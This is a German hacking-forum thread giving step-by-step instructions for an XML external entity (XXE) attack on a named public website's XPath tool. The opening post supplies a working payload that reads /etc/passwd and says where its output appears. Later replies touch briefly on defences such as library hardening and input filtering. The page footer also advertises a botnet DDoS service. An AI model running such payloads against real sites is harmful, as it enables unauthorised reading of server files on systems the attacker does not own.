utilities-online.info - xml external entity attack - Classic Hacking

Als Gast hast du nur eingeschränkten Zugriff!

Anmelden

Benutzerkonto erstellen

Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.

Antworte auf Themen oder erstelle deine eigenen.
Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.

#1
Zero-X

Geschrieben 23 September 2014 - 11:49 Uhr

FTB Experte

Premium Member

Likes

129

98 Beiträge
45 Bedankt

Android
Windows, Linux

Please Login HERE or Register HERE to see this link!

Im Feld "XML" folgendes eingeben:

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

Im Feld XPath Expression:
/

Dann auf "Evalutate XPath" klicken.
Unten im grünen Feld erscheint dann die Ausgabe der angegebenen Datei.

Ch!ller gefällt das

Nach oben

Melden

Thanked by 1 Member:

#2
Xenos88

Geschrieben 23 September 2014 - 13:22 Uhr

Xenos88

Hacker

Premium Member

Likes

67

152 Beiträge

184 Bedankt

wie kann man sich vor solcher Attacke schützen ?

Nach oben

Melden

Thanked by 1 Member:

#3
ProHex

Geschrieben 23 September 2014 - 14:02 Uhr

ProHex

Hacker

Moderator

Likes

223

223 Beiträge

199 Bedankt

in dem man seine library dagegen absichert.

open_basedir wär vielleicht auch mal hilfreich

¥akuza112 gefällt das

Nach oben

Melden

Thanked by 1 Member:

#4
Zero-X

Geschrieben 24 September 2014 - 11:35 Uhr

Zero-X

FTB Experte

Premium Member

Likes

129

98 Beiträge

45 Bedankt

Android

Windows, Linux

Hier ein Link mit mehr Informationen zu der Attacke:

Please Login HERE or Register HERE to see this link!

Sie kann gegen mehrere Skriptsprachen wie php, jsp oder asp angewandt werden.
Je nach Skriptsprache hat man verschiedene Möglichkeiten die Attacke einzusetzen. Auch SQL-Injection und OS-Command-Injection ist teilweise möglich.
Um sich zu schützen muss man auf jeden Fall die Eingaben der User prüfen und filtern.

pdr0 gefällt das

Nach oben

Melden

Thanked by 1 Member:

Thema	Forum	Themenstarter	Statistik	Letzter Beitrag
Botnet DDOS Service - Powerful Attack and Bypass Capabilitie #DDOS #Bypass #Powerfull	Leaks	DeepComa	0 Antworten 2227 Aufrufe	08 December 2024 - 03:07 Uhr Von: DeepComa
Botnet DDOS Service - Powerful Attack and Bypass Capabilitie #DDOS #Bypass #Powerful	Leaks	DeepComa	0 Antworten 2195 Aufrufe	08 December 2024 - 03:03 Uhr Von: DeepComa
Botnet DDOS Service - Powerful Attack and Bypass Capabilitie #DDOS #Bypass #Powerful	Leaks	DeepComa	0 Antworten 2179 Aufrufe	08 December 2024 - 03:02 Uhr Von: DeepComa